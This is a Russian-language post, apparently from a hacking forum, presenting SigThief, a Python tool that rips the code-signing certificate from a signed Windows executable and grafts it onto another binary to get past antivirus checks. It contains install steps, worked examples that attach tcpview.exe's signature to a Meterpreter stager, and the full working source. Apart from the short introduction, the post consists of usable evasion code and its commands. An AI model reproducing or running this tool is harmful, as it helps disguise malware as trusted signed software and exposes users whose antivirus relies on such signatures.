Python инструмент для тестирования антидетекта антивируса, не Smart Screen и UAC.
SigThief
Заметил во время тестирования против антивируса в течение многих лет, что каждый тест отличается, и каждый из них распределяет подписи PE по-разному, независимо от того, является ли подпись достоверной или нет.Есть некоторые антивирусные поставщики, которые дают приоритет определенным органам сертификации, не проверяя, что подпись фактически действительна, и есть те, которые просто проверяют, что сертификат заполнен некоторыми значениям. И так сойдёт, есть да и ладно.
Этот инструмент, чтобы вы быстро проходили тестирование на обход.
Короче говоря - вырывает подпись с нормального подписанного PE-файла и добавит его в другой, исправляя таблицу сертификатов, чтобы подписать файл.
Прикрепляю немного заумный материал по винде, как устроены сертификации в дырявой системе. EN.
Установка:
sudo apt install python3python3 sigthief.py -h
Использование:
python3 sigthief.py [options]
Options:
-h, --help show this help message and exit
-i FILE, --file=FILE input file
-r, --rip rip signature off inputfile
-a, --add add signautre to targetfile
-o OUTPUTFILE, --output=OUTPUTFILE
output file
-s SIGFILE, --sig=SIGFILE
binary signature from disk
-t TARGETFILE, --target=TARGETFILE
file to append signature to
-c, --checksig file to check if signed; does not verify signature
-T, --truncate truncate signature (i.e. remove sig)
Примеры:
Возьмите подпись из двоичного файла и добавьте ее в другой бинарный
python3 sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.
Сохраните подпись на диск для использования позже
python3 sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.
Используйте недействительную подпись
python3 sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.
Удалить подпись
На самом деле это даёт действительно интересные результаты, которые помогут вам найти AVS, которые ценят подписи по функциональности кода.
python3 sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.
Проверьте, есть ли подпись (не проверяет достоверность)
python3 sigthief.py -i tcpview.exe -c
Inputfile is signed!
sigthief.py
#!/usr/bin/env python3
import sys
import struct
import shutil
import io
from optparse import OptionParser
def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
if flItms['Magic'] != 0x20B:
flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
# End Standard Fields section of Optional Header
# Begin Windows-Specific Fields of Optional Header
if flItms['Magic'] == 0x20B:
flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
binary.read(2))[0]
flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfImageLoc'] = binary.tell()
flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
if flItms['Magic'] == 0x20B:
flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]
else:
flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0] # zero
flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
# End Windows-Specific Fields of Optional Header
# Begin Data Directories of Optional Header
flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
#ImportTable SIZE|LOC
flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
flItms['CertTableLOC'] = binary.tell()
flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
binary.close()
return flItms
def copyCert(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Input file Not signed!")
sys.exit(-1)
with open(exe, 'rb') as f:
f.seek(flItms['CertLOC'], 0)
cert = f.read(flItms['CertSize'])
return cert
def writeCert(cert, exe, output):
flItms = gather_file_info_win(exe)
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
def outputCert(exe, output):
cert = copyCert(exe)
if not output:
output = str(exe) + "_sig"
print("Output file: {0}".format(output))
open(output, 'wb').write(cert)
print("Signature ripped. \nFIN.")
def check_sig(exe):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
else:
print("Inputfile is signed!")
def truncate(exe, output):
flItms = gather_file_info_win(exe)
if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
# not signed
print("Inputfile Not signed!")
sys.exit(-1)
else:
print( "Inputfile is signed!")
if not output:
output = str(exe) + "_nosig"
print("Output file: {0}".format(output))
shutil.copy2(exe, output)
with open(output, "r+b") as binary:
print('Overwriting certificate table pointer and truncating binary')
binary.seek(-flItms['CertSize'], io.SEEK_END)
binary.truncate()
binary.seek(flItms['CertTableLOC'], 0)
binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")
print("Signature removed. \nFIN.")
def signfile(exe, sigfile, output):
flItms = gather_file_info_win(exe)
cert = open(sigfile, 'rb').read()
if not output:
output = output = str(exe) + "_signed"
shutil.copy2(exe, output)
print("Output file: {0}".format(output))
with open(exe, 'rb') as g:
with open(output, 'wb') as f:
f.write(g.read())
f.seek(0)
f.seek(flItms['CertTableLOC'], 0)
f.write(struct.pack("<I", len(open(exe, 'rb').read())))
f.write(struct.pack("<I", len(cert)))
f.seek(0, io.SEEK_END)
f.write(cert)
print("Signature appended. \nFIN.")
if __name__ == "__main__":
usage = 'usage: %prog [options]'
parser = OptionParser()
parser.add_option("-i", "--file", dest="inputfile",
help="input file", metavar="FILE")
parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
help='rip signature off inputfile')
parser.add_option('-a', '--add', dest='addsig', action='store_true',
help='add signautre to targetfile')
parser.add_option('-o', '--output', dest='outputfile',
help='output file')
parser.add_option('-s', '--sig', dest='sigfile',
help='binary signature from disk')
parser.add_option('-t', '--target', dest='targetfile',
help='file to append signature to')
parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
help='file to check if signed; does not verify signature')
parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
help='truncate signature (i.e. remove sig)')
(options, args) = parser.parse_args()
# rip signature
# inputfile and rip to outputfile
if options.inputfile and options.ripsig:
print("Ripping signature to file!")
outputCert(options.inputfile, options.outputfile)
sys.exit()
# copy from one to another
# inputfile and rip to targetfile to outputfile
if options.inputfile and options.targetfile:
cert = copyCert(options.inputfile)
writeCert(cert, options.targetfile, options.outputfile)
sys.exit()
# check signature
# inputfile
if options.inputfile and options.checksig:
check_sig(options.inputfile)
sys.exit()
# add sig to target file
if options.targetfile and options.sigfile:
signfile(options.targetfile, options.sigfile, options.outputfile)
sys.exit()
# truncate
if options.inputfile and options.truncate:
truncate(options.inputfile, options.outputfile)
sys.exit()
parser.print_help()
parser.error("You must do something!")
